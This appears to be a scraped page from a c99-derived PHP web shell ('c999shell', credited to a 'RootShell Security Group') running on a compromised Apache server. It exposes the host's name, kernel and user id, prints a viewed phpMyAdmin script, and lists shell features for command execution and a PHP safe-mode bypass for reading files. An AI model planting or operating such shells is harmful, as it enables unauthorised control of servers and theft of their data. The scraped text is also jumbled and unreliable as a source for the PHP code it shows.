Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/phpMyAdmin/scripts/ drwxr-xr-x |
Viewing file: Select action/file-type: read()) { if (strpos($name, '.inc.php')) { // 1.1 Checks parse errors and extra blank line include('../lang/' . $name); header('X-Ping: pong'); // 1.1 Checks "^M" $content = fread(fopen('../lang/' . $name, 'r'), filesize('../lang/' . $name)); if ($pos = strpos(' ' . $content, "\015")) { $failed[] = $name; } else { $passed[] = $name; } } // end if } // end while $languageDirectory->close(); // 2. Checking results $start = ''; $failed_cnt = count($failed); sort($failed); $passed_cnt = count($passed); sort($passed); echo ($failed_cnt + $passed_cnt) . ' language files were checked. ' . "\n"; if ($failed_cnt) { echo ' 1. ' . $failed_cnt . ' contain(s) some "^M": ' . "\n"; for ($i = 0; $i < $failed_cnt; $i++) { echo ' - ' . $failed[$i] . ' ' . "\n"; } // end for if ($passed_cnt) { echo ' ' . "\n"; echo ' 2. ' . $passed_cnt . ' seems right: ' . "\n"; $start = ' '; } } // end if if ($passed_cnt) { if (!$failed_cnt) { echo 'They all passed checkings: ' . "\n"; } for ($i = 0; $i < $passed_cnt; $i++) { echo $start . ' - ' . $passed[$i] . ' ' . "\n"; } // end for } // end if ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0054 ]-- |